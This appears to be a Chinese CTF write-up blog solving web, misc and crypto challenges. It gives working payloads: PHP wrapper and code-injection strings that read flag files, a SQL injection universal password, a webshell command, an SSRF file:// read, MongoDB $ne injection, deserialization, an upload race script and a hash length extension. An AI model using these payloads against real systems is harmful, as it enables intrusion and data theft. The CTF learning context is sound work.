web
array
和下面两题一块放在github上了git@github.com:xzlxr/ctf_web_14.git
payload=?element[]=&pass[]=
请求头X-Forwarded-For: 127.0.0.1
easy_file_get_contents
?file=data:text/plain;base64,encode.base64() #后面的base64字符是需要传入的字符串的base64编码
?file=php://input [POST DATA:]BXS #POST数据
- answer
http://127.0.0.1/demo/14/1/?path=flag.php&user=data:text/plain;base64,QlhT
http://127.0.0.1/demo/14/1/?path=flag.php&user=php://input
post BXS
chang_script
- 推荐
?a=1);print_r(file('./flag.php')
?a=1);print(file_get_contents('./flag.php')
- 推荐
?a=1);var_dump(file('./flag.php')
?a=1);echo(file_get_contents('./flag.php')
file file() 函数把整个文件读入一个数组中,所以要用print_r
而file_get_contents是转换为字符串
hello_php extract变量覆盖
1 |
|
代码大意:
变量b值为yuanyuan
通过GET方式传过来的数组转为一个名为数组名,值为数组值的变量(如果新的变量和已有变量重名,会将已有变量替换)
如果a变量存在,则将b赋值给c
若a、c相等则输出flag
payload:?a=&b=
Judge
- 思路:利用代码快速判断对错20次。
python代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48# -*- coding:utf-8 -*-
import requests
import time
import re
from bs4 import BeautifulSoup
def fun():
a=''
bool= ['true','false']
judge=''
url="http://202.119.201.199:50000/"
#设置请求头信息
headers = {
'Cookie':'PHPSESSID=b7a7ka097ihapjl4pugeh8aifp'
}
req = requests.get(url=url,headers=headers)
req.encoding='utf-8'
html=req.text
#print(html)
soup = BeautifulSoup(html,'html.parser') #文档对象
for div in soup.find_all('div'):
#print(div.get_text())
a += div.get_text()
print(a)
cala = re.sub(r'=.*','',a)
cala = re.sub(r' ','',cala)
final = int(eval(cala))
print(final)
#print(cala)
res = int(re.sub(r'^.*=','',a))
print(res)
if(final==res):
judge=bool[0]
else:
judge=bool[1]
data = {'answer':judge}
time.sleep(1) #注意不可太快,需要延时1秒,否者不算成功
req2 = requests.post(url,headers=headers,data=data)
print(req2.content.decode('utf-8'))
if __name__ == '__main__':
for num in range(1,19):
fun()
update me a message
hint:
- You may need to understand some HTTP methods.
- PUT me a message pwnht plz And i will tell you my secret
Recommended Reading1
2
3
4
5
6
7
8
9
10# -*- coding:utf-8 -*-
import base64
import requests
url = 'http://202.119.201.199:50002/'
res = requests.session()
ans = res.put(url=url,data='pwnht')
print(ans.content)
print(base64.b64decode(ans.content))
infogate
- 登陆:
admin or '1'='1
万能密码
预计代码:select column_name from table where user='$username' and password='$password'
- upload:
此题上传已经简化
只需文件后缀名为php便可拿到flag
address:Uploads/XXXX.php
但正常上传PHP Webshel
一句话木马: 接下来可以使用菜刀等等工具也可直接`?cmd=system(“cat /flag”);
easy php serialize
- 简单的反序列
- file_get_contents()绕过payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class T {
public $id;
public $content;
function __destruct() {
global $flag;
if (($this->content !== $this->id) &&
(file_get_contents($this->content) === $this->id))
echo $flag;
}
}
$o = new T();
$o->id='xz';
$o->content='php://input';
echo serialize($o);
1 | # -*- coding:utf-8 -*- |
easy ssrf
注意strstr与stristr这两个函数的区别
strstr 区分大小写
stristr 不区分大小写
payload : url=FILE:///flag
git commit
…丢人了 git都不会,先让我补补知识点
easy injection
MongoDB教程
有一说一讨厌直接那些直接抄flag。。。 之前都不知道MongoDB注入
大致代码
1 |
|
补充知识点:
- 在mongodb中比较操作符,其他操作符
< | <= | > | >= | != |
---|---|---|---|---|
$lt |
$lte |
$gt |
$gte |
$ne |
所以此题
举例 ?u_id[$ne]=2
传入后MongoDB查询语句为$qry = array("id" => array("$ne"=>2))
所以,结果就是MongoDB返回了除了id=2的其他所有数据。
故payload ?uname[$ne]=test&pwd[$ne]=test
easy integer overflow
国王等一下,让我打完这局昆特牌。
巨龙,到你出牌了。
此题正常的解法是整数溢出漏洞
即在买母鸡的时候value = -1900000000000000000 时候,则会发生大整数溢出,并使得自己的攻击力溢出,而后挑战恶龙即可。
学长给的解法是使用脚本暂时没法用?
前提:
pip3 install websocket
pip3 install websocket-client
1 | import websocket |
源代码
为什么我感觉这题挂了?
flag{youfindme23333333333}
colorsnack
这题。。。。让我一度放弃javascrip
啃啃啃啃,欲速则不达;
重要代码
1 | if (snake.body[i].line == food.ran.line && snake.body[i].col == food.ran.col) { |
从答案入手,大意是通过定时器快速达到50分的目的
1 | setInterval(function(){xhr('./getScore.php',function(e){ // 按指定周期来调用函数 |
自动获取flag程序
偶然发现
学长新blog _ 一叶飘零
recommendation
此题大意是让你修改代码,以正常执行
1 | function calParam2(d){ //calParam2 |
logic
hint
php的等号真是头疼,要多尝试几位token哦
- vim临时文件 submit.php.swp与vim备份文件 submit.php~,下载源代码
- 仔细观察网页源代码,你会发现有个邮箱
chenyurui@gmail
admin应该学长,名字在哪看过 - 在mysql中0 == 0eXXXXXXXX
验证第三点
1 | use demo; |
源代码
1 | if(!empty($token)&&!empty($emailAddress)){ |
payload ?emailAddress=chenyurui@gmail.com&token=0e12345678
upload3
此题基本上一个操作一个hint,真好
- 上传cmd.jpg
- 抓包修改后缀名为php,得到flag1、flag2
response:可是被某奇怪的安全软件给杀了!!不要想怎么绕过安全软件你绕不过的这个安全软件非常恐怖想别的办法吧
- 竞争上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import requests
url = 'http://202.119.201.199/challenge/web/uploadfile/upload/上传文件.phtml'
req = requests.Session()
while True:
ans = req.get(url)
web_content = ans.content
if 'flag' in web_content:
print web_contentis hash safe?
recommendation - 在做这题前需要将
ip:202.119.201.199
添加到host上,才能正常打开 - hint:
粗心的程序员好像有什么东西没删掉,还自以为hash很安全。。
推测存在admin.php源代码,尝试之后发现为admin.php.swp - 恢复代码
vim -r .\admin.php.swp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$auth = false;
$role = "guest";
$salt ="xxxxxxxxxxxxx";//len:13
if (isset($_COOKIE["role"]))
{
$role = $_COOKIE["role"];
$hsh = $_COOKIE["hsh"];
if (stripos($role,"admin")!==false&&$hsh === md5($salt.$_COOKIE["role"]))
{
$auth = true;
}
else
{
$auth = false;
}
}
else
{
$s = $role;
setcookie('role',$s);
$hsh = md5($salt.$s);
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin.Your flag is cumtctf{you_know_this_is_not_the_flag}";
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}role = admin hsh == md5(xxxxxxxxxxxxxadmin)
hsh = c70ab9d039f166c5b5f506a5698ebaa1
使用hashpump
root@kali:~# hashpump
Input Signature: c70ab9d039f166c5b5f506a5698ebaa1
Input Data: guest
Input Key Length: 13
Input Data to Add: admin - 在wt中替换字符串
1
2
3$a='guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00admin'
$b= $a.Replace('\x','%')
$b|Out-File E:\1.txt #guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin
- 然后在bp里将更改
role=guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin; hsh=37d0fe2c401a689be9608e9f850ef3de
basic
base大礼包哦
base64 -%3D是=->base32
便可的
最基本编码
利用python3中print(a = u''
)直接解码 Unicode 转义字符串
recommend
凯撒大帝保佑你
凯撒解码
猪关在栅栏里
很迷
hint:
可能有10头以内的猪关起来了
找猪圈?在这里哦hnmhZyta.o/hqfKe:tpbcsAg5mk p/a./iKEg ps/iu1z2qNg16:dLVZy
试了很久的我傻了。。。
栅栏。。。。为什么我这不行
一天过后。
这题。。会有复制文字,注意空格
栅栏第一次是6,得到一个百度网盘🔗
再栅栏一次即可
misc
包
直接用foremost
签到都不算
winhex||010edit
结账拿出什么?
base64图像
鲨鱼吨吨吨
流量分析
matrix
丢人白嫖的
1 | from PIL import Image |
forfun
在index.css上。。。。
forfuntoo
。。。在背景图片上。。。
超级简单的密码
8ujko9 wazxde 3wsdr4 r43wsd
每组中值为键盘中的中间值。。。。我服
滑稽
- 首先需要在kali下打开文件,在/ppt/media/images3.png 发现异常
cat images3.png
- php - a 后打开ppt,移动图片发现flag
1
2$a = "password";
echo base64_decode($a);
这是一个镜像
记录操作cd mnt/
mkdir U
mount mirror /mnt/U
find "flag*"
find -name "flag*"
cat ./XXXXXX/flag.txt
得base64 flag
大大大包包包
- 使用Advanced Archive Password Recovery以flag2.zip为明文攻击flag.zip
- 得到key(2).txt,即第二层密码
- 后再爆破zip
这里我用了fcrackzipfcrackzip 1.zip -l 1-10
- 后提示给出是未加密,更改回去即可
crypto
密码菜逼来了 orz 快扶我,我还能水# -- coding: utf-8 --